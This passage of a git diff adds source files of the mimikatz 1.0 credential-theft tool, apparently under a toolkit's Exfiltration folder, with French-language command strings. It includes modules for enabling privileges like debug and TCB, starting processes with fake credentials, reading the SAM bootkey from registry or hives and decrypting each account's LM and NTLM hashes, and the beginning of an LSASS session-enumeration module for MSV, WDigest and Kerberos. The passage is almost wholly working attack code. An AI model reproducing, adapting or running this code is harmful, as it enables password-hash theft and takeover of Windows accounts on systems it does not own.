arguments) +{ + simplePriv(SE_TCB_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::impersonate(vector<wstring> * arguments) +{ + simplePriv(SE_IMPERSONATE_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::assign(vector<wstring> * arguments) +{ + simplePriv(SE_ASSIGNPRIMARYTOKEN_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::shutdown(vector<wstring> * arguments) +{ + simplePriv(SE_SHUTDOWN_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::takeowner(vector<wstring> * arguments) +{ + simplePriv(SE_TAKE_OWNERSHIP_NAME, arguments); return true; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h new file mode 100644 index 0000000..f3dc739 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h @@ -0,0 +1,33 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_privilege.h" +#include <iostream> + +class mod_mimikatz_privilege +{ +private: + static bool multiplePrivs(vector<wstring> * privs, DWORD type); + static bool simplePriv(wstring priv, vector<wstring> * arguments); +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool list(vector<wstring> * arguments); + static bool enable(vector<wstring> * arguments); + static bool remove(vector<wstring> * arguments); + static bool disable(vector<wstring> * arguments); + + static bool debug(vector<wstring> * arguments); + static bool security(vector<wstring> * arguments); + static bool tcb(vector<wstring> * arguments); + static bool impersonate(vector<wstring> * arguments); + static bool assign(vector<wstring> * arguments); + static bool shutdown(vector<wstring> * arguments); + static bool takeowner(vector<wstring> * arguments); + +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp new file mode 100644 index 0000000..d18ca8b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp @@ -0,0 +1,298 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_process.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_process::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les processus")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Excute un processus, /paused et/ou /sudo")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(suspend, L"suspend", L"Suspend l\'excution d\'un processus")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(resume, L"resume", L"Reprend un processus")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Stoppe un (ou plusieurs) processus")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(modules, L"modules", L"Liste les modules (pour le moment du PID courant)")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(iat, L"iat", L"Liste la table d\'adressage")); + return monVector; +} + +bool mod_mimikatz_process::start(vector<wstring> * arguments) +{ + if(!arguments->empty()) + { + wstring commande = arguments->back(); + bool paused = false; + bool sudo = false; + + (*outputStream) << L"Demande d\'excution de : \'" << commande << L"'" << endl; + PROCESS_INFORMATION pi = {INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE, 0, 0}; + + switch(arguments->size()) + { + case 2: + if(_wcsicmp(arguments->front().c_str(), L"/paused") == 0) + paused = true; + else if(_wcsicmp(arguments->front().c_str(), L"/sudo") == 0) + sudo = true; + else + goto doStartProcess_syntaxerror; + + break; + case 3: + if(_wcsicmp(arguments->front().c_str(), L"/paused") == 0) + paused = true; + else + goto doStartProcess_syntaxerror; + + if(_wcsicmp(arguments->at(1).c_str(), L"/sudo") == 0) + sudo = true; + else + goto doStartProcess_syntaxerror; + + break; + } + + if(mod_process::start(&commande, &pi, paused, sudo)) + { + if(paused) + (*outputStream) << L" * Le Thread principal est suspendu ! Reprise avec : thread::resume " << pi.dwThreadId << endl; + + if(sudo) + (*outputStream) << L" * Le processus est dmarr avec de fausses donnes d\'identification" << endl; + + printInfosFromPid(pi.dwProcessId, pi.dwThreadId); + } + else (*outputStream) << L"mod_process::start ; " << mod_system::getWinError() << endl; + } + else + { +doStartProcess_syntaxerror: + (*outputStream) << L"Erreur de syntaxe ; " << L"process::start [/paused] [/sudo] commande" << endl; + } + + return true; +} + +bool mod_mimikatz_process::stop(vector<wstring> * arguments) +{ + for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) + { + mod_process::KIWI_PROCESSENTRY32 monProcess; + wstring procName = *monProcessName; + + if(mod_process::getUniqueForName(&monProcess, &procName)) + { + (*outputStream) << L"Fin de : " << procName << L'\t'; + if(mod_process::stop(monProcess.th32ProcessID)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_process::stop ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; + } + + return true; +} + + +bool mod_mimikatz_process::suspend(vector<wstring> * arguments) +{ + for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) + { + mod_process::KIWI_PROCESSENTRY32 monProcess; + wstring procName = *monProcessName; + + if(mod_process::getUniqueForName(&monProcess, &procName)) + { + (*outputStream) << L"Suspension de : " << procName << L'\t'; + if(mod_process::suspend(monProcess.th32ProcessID)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_process::suspend ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; + } + + return true; +} + + +bool mod_mimikatz_process::resume(vector<wstring> * arguments) +{ + for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) + { + mod_process::KIWI_PROCESSENTRY32 monProcess; + wstring procName = *monProcessName; + + if(mod_process::getUniqueForName(&monProcess, &procName)) + { + (*outputStream) << L"Reprise de : " << procName << L'\t'; + if(mod_process::resume(monProcess.th32ProcessID)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO - mod_process::resume ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; + } + + return true; +} + + + + +bool mod_mimikatz_process::list(vector<wstring> * arguments) +{ + vector<mod_process::KIWI_PROCESSENTRY32> * vectorProcess = new vector<mod_process::KIWI_PROCESSENTRY32>(); + if(mod_process::getList(vectorProcess)) + { + (*outputStream) << L"PID\tPPID\t#Ths\tpri\timage" << endl; + for(vector<mod_process::KIWI_PROCESSENTRY32>::iterator monProcess = vectorProcess->begin(); monProcess != vectorProcess->end(); monProcess++) + { + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << monProcess->th32ProcessID << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monProcess->th32ParentProcessID << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monProcess->cntThreads << L'\t' << + setw(5) << setfill(wchar_t(' ')) << monProcess->pcPriClassBase << L'\t' << + monProcess->szExeFile << + endl; + } + } + else (*outputStream) << L"mod_process::getList ; " << mod_system::getWinError() << endl; + + delete vectorProcess; + return true; +} + +bool mod_mimikatz_process::modules(vector<wstring> * arguments) +{ + DWORD processId = 0 ; + + if(!arguments->empty() && !(arguments->size() > 1)) + { + wstringstream monBuffer; + monBuffer << arguments->front(); + monBuffer >> processId; + } + + vector<mod_process::KIWI_MODULEENTRY32> * vectorModules = new vector<mod_process::KIWI_MODULEENTRY32>(); + if(mod_process::getModulesListForProcessId(vectorModules, &processId)) + { + (*outputStream) << L"@Base\tTaille\tModule\tPath" << endl; + for(vector<mod_process::KIWI_MODULEENTRY32>::iterator monModule = vectorModules->begin(); monModule != vectorModules->end(); monModule++) + { + (*outputStream) << monModule->modBaseAddr << L'\t' << monModule->modBaseSize << '\t' << monModule->szModule << L'\t' << monModule->szExePath << endl; + } + } + else + (*outputStream) << L"mod_process::getModulesListForProcessId ; " << mod_system::getWinError() << endl; + + delete vectorModules; + return true; +} + +bool mod_mimikatz_process::iat(vector<wstring> * arguments) +{ + wstring process; + wstring module; + + switch(arguments->size()) + { + case 2: + process = arguments->at(0); + module = arguments->at(1); + break; + case 1: + process = arguments->at(0); + break; + default: + ; + } + + mod_process::KIWI_PROCESSENTRY32 monProcess; + if(mod_process::getUniqueForName(&monProcess, &process)) + { + if(HANDLE monHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, monProcess.th32ProcessID)) + { + if(module.empty() || (module.front() != L'*')) + { + if(module.empty()) + module.assign(process); + + mod_process::KIWI_MODULEENTRY32 * monModule = new mod_process::KIWI_MODULEENTRY32(); + if(mod_process::getUniqueModuleForName(monModule, &module, &monProcess.th32ProcessID)) + { + printIATFromModule(monModule, monHandle); + } + else (*outputStream) << L"mod_process::getUniqueModuleForName ; " << mod_system::getWinError() << endl; + delete monModule; + } + else + { + vector<mod_process::KIWI_MODULEENTRY32> * vectorModules = new vector<mod_process::KIWI_MODULEENTRY32>(); + if(mod_process::getModulesListForProcessId(vectorModules, &monProcess.th32ProcessID)) + { + for(vector<mod_process::KIWI_MODULEENTRY32>::iterator monModule = vectorModules->begin(); monModule != vectorModules->end(); monModule++) + printIATFromModule(&*monModule, monHandle); + } + else (*outputStream) << L"mod_process::getModulesListForProcessId ; " << mod_system::getWinError() << endl; + + delete vectorModules; + } + + CloseHandle(monHandle); + } + } + else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl; + + return true; +} + +void mod_mimikatz_process::printInfosFromPid(DWORD &PID, DWORD ThreadId) +{ + (*outputStream) << L"PID : " << PID << endl; + + if(ThreadId) + { + (*outputStream) << L"ThreadID : " << ThreadId << endl; + } + + LUID monId = {0, 0}; + if(mod_process::getAuthentificationIdFromProcessId(PID, monId)) + { + (*outputStream) << "AuthId_h : " << monId.HighPart << endl; + (*outputStream) << "AuthId_l : " << monId.LowPart << endl; + } + else (*outputStream) << L"Erreur : " << mod_system::getWinError() << endl; +} + +void mod_mimikatz_process::printIATFromModule(mod_process::KIWI_MODULEENTRY32 * monModule, HANDLE monHandle) +{ + (*outputStream) << monModule->szModule << L" -> " << monModule->szExePath << endl; + PBYTE baseAddr = reinterpret_cast<PBYTE>(monModule->modBaseAddr); + + vector<pair<string, vector<mod_process::KIWI_IAT_MODULE>>> * monIAT = new vector<pair<string, vector<mod_process::KIWI_IAT_MODULE>>>(); + if(mod_process::getIAT(baseAddr, monIAT, monHandle)) + { + for(vector<pair<string, vector<mod_process::KIWI_IAT_MODULE>>>::iterator monModuleImporte = monIAT->begin(); monModuleImporte != monIAT->end(); monModuleImporte++) + { + (*outputStream) << L" - Imports depuis : " << monModuleImporte->first.c_str() << endl; + for(vector<mod_process::KIWI_IAT_MODULE>::iterator maFonctionImporte = monModuleImporte->second.begin(); maFonctionImporte != monModuleImporte->second.end(); maFonctionImporte++) + { + (*outputStream) << L" " << maFonctionImporte->ptrToFunc << L" -> " << maFonctionImporte->ptrFunc << L' '; + if(maFonctionImporte->Ordinal != 0) + (*outputStream) << L"O# " << maFonctionImporte->Ordinal; + else + (*outputStream) << maFonctionImporte->funcName.c_str(); + (*outputStream) << endl; + } + } + } + delete monIAT; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h new file mode 100644 index 0000000..68f8428 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h @@ -0,0 +1,32 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_process.h" +#include <iostream> + +class mod_mimikatz_process +{ +private: + static void printInfosFromPid(DWORD &PID, DWORD ThreadId); + static void printIATFromModule(mod_process::KIWI_MODULEENTRY32 * monModule, HANDLE monHandle = INVALID_HANDLE_VALUE); + +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool list(vector<wstring> * arguments); + + static bool start(vector<wstring> * arguments); + static bool suspend(vector<wstring> * arguments); + static bool resume(vector<wstring> * arguments); + static bool stop(vector<wstring> * arguments); + + + static bool modules(vector<wstring> * arguments); + static bool iat(vector<wstring> * arguments); +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp new file mode 100644 index 0000000..26f5798 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp @@ -0,0 +1,353 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_samdump.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_samdump::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(full, L"hashes", L"Rcupre la bootkey depuis une ruche SYSTEM puis les hashes depuis une ruche SAM")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(bootkey, L"bootkey", L"Rcupre la bootkey depuis une ruche SYSTEM")); + return monVector; +} + +bool mod_mimikatz_samdump::bootkey(vector<wstring> * arguments) +{ + unsigned char bootkey[0x10]; + if(!arguments->empty()) + getInfosFromHive(arguments->front(), bootkey); + else + getInfosFromReg(bootkey); + return true; +} + +bool mod_mimikatz_samdump::full(vector<wstring> * arguments) +{ + unsigned char bootkey[0x10]; + if(!arguments->empty() && (arguments->size() >= 1 && arguments->size() <= 2)) + { + if(getInfosFromHive(arguments->front().c_str(), bootkey)) + { + if(!getUsersAndHashesFromHive(arguments->back().c_str(), bootkey)) + (*outputStream) << L"Erreur lors de l\'exploration des ruches" << endl; + } + } + else + { + if(getInfosFromReg(bootkey)) + { + if(!getUsersAndHashesFromReg(bootkey)) + (*outputStream) << L"Erreur lors de l\'exploration du registre" << endl; + } + } + return true; +} + +bool mod_mimikatz_samdump::getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10]) +{ + bool reussite = false; + + mod_hive::hive * monHive = new mod_hive::hive(); + mod_hive::InitHive(monHive); + if(mod_hive::RegOpenHive(samHive.c_str(), monHive)) + { + string * rootKey = new string(); + if(mod_hive::RegGetRootKey(monHive, rootKey)) + { + string * keyAccountName = new string(*rootKey); keyAccountName->append("\\SAM\\Domains\\Account"); + string * valAccountName = new string("F"); + int longueurF = 0; unsigned char *bufferF = NULL; + + if(mod_hive::RegOpenKeyQueryValue(monHive, keyAccountName, valAccountName, &bufferF, &longueurF)) + { + BYTE hBootKey[0x20] = {0}; + if(mod_hash::getHbootKeyFromBootKeyAndF(hBootKey, bootkey, bufferF)) + { + string * keyUsers = new string(*rootKey); keyUsers->append("\\SAM\\Domains\\Account\\Users"); + mod_hive::nk_hdr * nodeUsers = new mod_hive::nk_hdr(); + if(mod_hive::RegOpenKey(monHive, keyUsers, &nodeUsers )) + { + vector<string> * keyNames = new vector<string>(); + if(reussite = mod_hive::RegEnumKey(monHive, nodeUsers, keyNames)) + { + for(vector<string>::iterator maKey = keyNames->begin(); maKey != keyNames->end(); maKey++) + { + if(maKey->compare("Names") != 0) + { + string * keyUser = new string(*keyUsers); keyUser->append("\\"); keyUser->append(*maKey); + string valUserF = "F"; mod_hash::USER_F * userF = NULL; int longueurF = 0; + string valUserV = "V"; mod_hash::USER_V * userV = NULL; int longueurV = 0; + + if(reussite &= mod_hive::RegOpenKeyQueryValue(monHive, keyUser, &valUserV, reinterpret_cast<unsigned char **>(&userV), &longueurV) && + mod_hive::RegOpenKeyQueryValue(monHive, keyUser, &valUserF, reinterpret_cast<unsigned char **>(&userF), &longueurF)) + { + infosFromUserAndKey(userF, userV, hBootKey); + delete[] userF, userV; + } + delete keyUser; + } + } + } + delete keyNames; + } + delete nodeUsers, keyUsers; + } + delete[] bufferF; + } + delete valAccountName, keyAccountName; + } + delete rootKey; + } + delete monHive; + + return reussite; +} + +bool mod_mimikatz_samdump::getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10]) +{ + bool reussite = false; + + mod_hive::hive * monHive = new mod_hive::hive(); + mod_hive::InitHive(monHive); + + if(mod_hive::RegOpenHive(systemHive.c_str(), monHive)) + { + string * rootKey = new string(); + if(mod_hive::RegGetRootKey(monHive, rootKey)) + { + DWORD nControlSet = 0; + if(getNControlSetFromHive(monHive, rootKey, &nControlSet)) + { + stringstream * monControlSet = new stringstream; + *monControlSet << *rootKey << "\\ControlSet" << setw(3) << setfill('0') << nControlSet; + string * fullControlSet = new string(monControlSet->str()); + delete monControlSet; + + wstring * computerName = new wstring(); + if(getComputerNameFromHive(monHive, fullControlSet, computerName)) + (*outputStream) << L"Ordinateur : " << *computerName << endl; + delete computerName; + + if(reussite = getBootKeyFromHive(monHive, fullControlSet, bootkey)) + (*outputStream) << L"BootKey : " << mod_text::stringOfHex(bootkey, 0x10) << endl; + delete fullControlSet; + } + } + delete rootKey; + mod_hive::RegCloseHive(monHive); + } + delete monHive; + + return reussite; +} + +bool mod_mimikatz_samdump::getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName) +{ + bool reussite = false; + + string * keyComputerName = new string(*fullControlSet); keyComputerName->append("\\Control\\ComputerName\\ComputerName"); + string * valComputerName = new string("ComputerName"); + int longueur = 0; unsigned char *buffer = NULL; + if(reussite = mod_hive::RegOpenKeyQueryValue(theHive, keyComputerName, valComputerName, &buffer, &longueur)) + { + computerName->assign(reinterpret_cast<wchar_t *>(buffer), longueur / sizeof(wchar_t)); + delete[] buffer; + } + delete valComputerName; + delete keyComputerName; + + return reussite; +} + +bool mod_mimikatz_samdump::getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10]) +{ + bool reussite = false; + + unsigned char key[0x10]; + char *kn[] = {"JD", "Skew1", "GBG", "Data"}; + + for(unsigned int i = 0; i < sizeof(kn) / sizeof(char *); i++ ) + { + string * maKey = new string(*fullControlSet); maKey->append("\\Control\\Lsa\\"); maKey->append(kn[i]); + mod_hive::nk_hdr * n = new mod_hive::nk_hdr(); + + if(reussite = mod_hive::RegOpenKey(theHive, maKey, &n)) + { + char kv[9] = {0}; + unsigned char *b = mod_hive::read_data(theHive, n->classname_off + 0x1000); + for(short j = 0; j < (n->classname_len / 2) && j < 8; j++) + kv[j] = b[j*2]; + sscanf_s(kv, "%x", (unsigned int*) (&key[i*4])); + } + delete n, maKey; + } + + if(reussite) + mod_hash::getBootKeyFromKey(bootkey, key); + + return reussite; +} + +bool mod_mimikatz_samdump::getBootKeyFromReg(BYTE bootkey[0x10]) +{ + bool reussite = false; + + DWORD code; + BYTE key[0x10] = {0}; + wchar_t * kn[] = {L"JD", L"Skew1", L"GBG", L"Data"}; + HKEY monLSA; + code = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", 0, KEY_READ, &monLSA); + if(code == ERROR_SUCCESS) + { + for(unsigned int i = 0; (i < sizeof(kn) / sizeof(wchar_t *)) && (code == ERROR_SUCCESS); i++ ) + { + HKEY monSecret; + code = RegOpenKeyEx(monLSA, kn[i], 0, KEY_READ, &monSecret); + if(code == ERROR_SUCCESS) + { + wchar_t monBuffer[8 + 1]; + DWORD maTaille = 8 + 1; + + code = RegQueryInfoKey(monSecret, monBuffer, &maTaille, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + if(code == ERROR_SUCCESS) + swscanf_s(monBuffer, L"%x", (DWORD *) (&key[i * sizeof(DWORD)])); + else (*outputStream) << L"RegQueryInfoKey " << kn[i] << " : " << mod_system::getWinError(false, code) << endl; + RegCloseKey(monSecret); + } else (*outputStream) << L"RegOpenKeyEx " << kn[i] << " : " << mod_system::getWinError(false, code) << endl; + } + RegCloseKey(monLSA); + } else (*outputStream) << L"RegOpenKeyEx LSA : " << mod_system::getWinError(false, code) << endl; + + if(reussite = (code == ERROR_SUCCESS)) + mod_hash::getBootKeyFromKey(bootkey, key); + + return reussite; +} + + + +bool mod_mimikatz_samdump::getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet) +{ + bool reussite = false; + + string * selectKey = new string(*rootKey); selectKey->append("\\Select"); + string * nDefault = new string("Default"); + int longueur = 0; unsigned char *buffer = NULL; + + if(mod_hive::RegOpenKeyQueryValue(theHive, selectKey, nDefault, &buffer, &longueur)) + { + if(reussite = (longueur == sizeof(DWORD))) + *nControlSet = *(DWORD *) (buffer); + delete[] buffer; + } + + delete nDefault, selectKey; + return reussite; +} + +bool mod_mimikatz_samdump::getInfosFromReg(BYTE bootkey[0x10]) +{ + bool reussite = false; + + wstring * computerName = new wstring(); + if(mod_system::getComputerName(computerName)) + (*outputStream) << L"Ordinateur : " << *computerName << endl; + delete computerName; + + if(reussite = getBootKeyFromReg(bootkey)) + (*outputStream) << L"BootKey : " << mod_text::stringOfHex(bootkey, 0x10) << endl; + + return reussite; +} + + +bool mod_mimikatz_samdump::getUsersAndHashesFromReg(BYTE bootkey[0x10]) +{ + bool reussite = false; + + DWORD code; + HKEY maSAM; + code = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SAM\\SAM\\Domains\\Account", 0, KEY_READ, &maSAM); + if(code == ERROR_SUCCESS) + { + DWORD tailleRequise = 0; + code = RegQueryValueEx(maSAM, L"F", NULL, NULL, NULL, &tailleRequise); + if(code == ERROR_SUCCESS) + { + BYTE * bufferF = new BYTE[tailleRequise]; + code = RegQueryValueEx(maSAM, L"F", NULL, NULL, bufferF, &tailleRequise); + if(code == ERROR_SUCCESS) + { + BYTE hBootKey[0x10] = {0}; + if(mod_hash::getHbootKeyFromBootKeyAndF(hBootKey, bootkey, bufferF)) + { + HKEY mesUsers; + code = RegOpenKeyEx(maSAM, L"Users", 0, KEY_READ, &mesUsers); + if(code == ERROR_SUCCESS) + { + DWORD nombreUsers = 0, tailleMaxSousCle = 0; + code = RegQueryInfoKey(mesUsers, NULL, NULL, NULL, &nombreUsers, &tailleMaxSousCle, NULL, NULL, NULL, NULL, NULL, NULL); + if(reussite = (code == ERROR_SUCCESS)) + { + tailleMaxSousCle++; + wchar_t * monRid = new wchar_t[tailleMaxSousCle]; + for(DWORD i = 0; i < nombreUsers ; i++) + { + DWORD tailleRid = tailleMaxSousCle; + code = RegEnumKeyExW(mesUsers, i, monRid, &tailleRid, NULL, NULL, NULL, NULL); + if(code == ERROR_SUCCESS) + { + if(_wcsicmp(monRid, L"Names") != 0) + { + HKEY monUser; + code = RegOpenKeyEx(mesUsers, monRid, 0, KEY_READ, &monUser); + if(reussite &= (code == ERROR_SUCCESS)) + { + DWORD tailleF = 0, tailleV = 0; + if((RegQueryValueEx(monUser, L"F", NULL, NULL, NULL, &tailleF) == ERROR_SUCCESS) && + (RegQueryValueEx(monUser, L"V", NULL, NULL, NULL, &tailleV) == ERROR_SUCCESS)) + { + mod_hash::USER_F * userF = reinterpret_cast<mod_hash::USER_F *>(new BYTE[tailleF]); + mod_hash::USER_V * userV = reinterpret_cast<mod_hash::USER_V *>(new BYTE[tailleV]); + + if((RegQueryValueEx(monUser, L"F", NULL, NULL, reinterpret_cast<BYTE *>(userF), &tailleF) == ERROR_SUCCESS) && + (RegQueryValueEx(monUser, L"V", NULL, NULL, reinterpret_cast<BYTE *>(userV), &tailleV) == ERROR_SUCCESS)) + infosFromUserAndKey(userF, userV, hBootKey); + + delete[] userF, userV; + } + RegCloseKey(monUser); + } + } + } else (*outputStream) << L"RegEnumKeyExW : " << mod_system::getWinError(false, code) << endl; + } + delete[] monRid; + } + RegCloseKey(mesUsers); + } else (*outputStream) << L"RegOpenKeyEx Users : " << mod_system::getWinError(false, code) << endl; + } + } else (*outputStream) << L"RegQueryValueEx 2 F : " << mod_system::getWinError(false, code) << endl; + delete[] bufferF; + } else (*outputStream) << L"RegQueryValueEx 1 F : " << mod_system::getWinError(false, code) << endl; + RegCloseKey(maSAM); + } else (*outputStream) << L"RegOpenKeyEx SAM : " << mod_system::getWinError(false, code) << endl; + + return reussite; +} + +void mod_mimikatz_samdump::infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x10]) +{ + wstring hashLM, hashNTLM; + mod_hash::decryptHash(&hashLM, hBootKey, userV, &userV->LM, userF->UserId, false); + mod_hash::decryptHash(&hashNTLM, hBootKey, userV, &userV->NTLM, userF->UserId, true); + + (*outputStream) << endl << + L"Rid : " << userF->UserId << endl << + L"User : " << wstring((wchar_t *) (&(userV->datas) + userV->Username.offset), userV->Username.lenght / sizeof(wchar_t)) << endl << + L"LM : " << hashLM << endl << + L"NTLM : " << hashNTLM << endl + ; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h new file mode 100644 index 0000000..6586d03 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h @@ -0,0 +1,34 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_hive.h" +#include "mod_hash.h" +#include "mod_system.h" +#include <iostream> +#include <sstream> + +class mod_mimikatz_samdump +{ +private: + static bool getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet); + static bool getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName); + + static bool getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10]); + static bool getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10]); + static bool getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10]); + + static bool getBootKeyFromReg(BYTE bootkey[0x10]); + static bool getInfosFromReg(BYTE bootkey[0x10]); + static bool getUsersAndHashesFromReg(BYTE bootkey[0x10]); + + static void infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x20]); +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool bootkey(vector<wstring> * arguments); + static bool full(vector<wstring> * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp new file mode 100644 index 0000000..d8832bc --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp @@ -0,0 +1,348 @@ +/* Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com +benjamin@gentilkiwi.com +Licence : http://creativecommons.org/licenses/by/3.0/fr/ +Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_sekurlsa.h" +#include "..\global.h" +HMODULE mod_mimikatz_sekurlsa::hLsaSrv = NULL; +HANDLE mod_mimikatz_sekurlsa::hLSASS = NULL; +mod_process::KIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa::localLSASRV, *mod_mimikatz_sekurlsa::pModLSASRV = NULL; +PLSA_SECPKG_FUNCTION_TABLE mod_mimikatz_sekurlsa::SeckPkgFunctionTable = NULL; + +bool mod_mimikatz_sekurlsa::lsassOK = false; +vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> mod_mimikatz_sekurlsa::GLOB_ALL_Providers; +vector<mod_mimikatz_sekurlsa::KIWI_MODULE_PKG_LSA> mod_mimikatz_sekurlsa::mesModules; + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_sekurlsa::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_msv1_0::getMSV, L"msv", L"numre les sessions courantes du provider MSV1_0")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_wdigest::getWDigest, L"wdigest", L"numre les sessions courantes du provider WDigest")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_kerberos::getKerberos, L"kerberos",L"numre les sessions courantes du provider Kerberos")); + 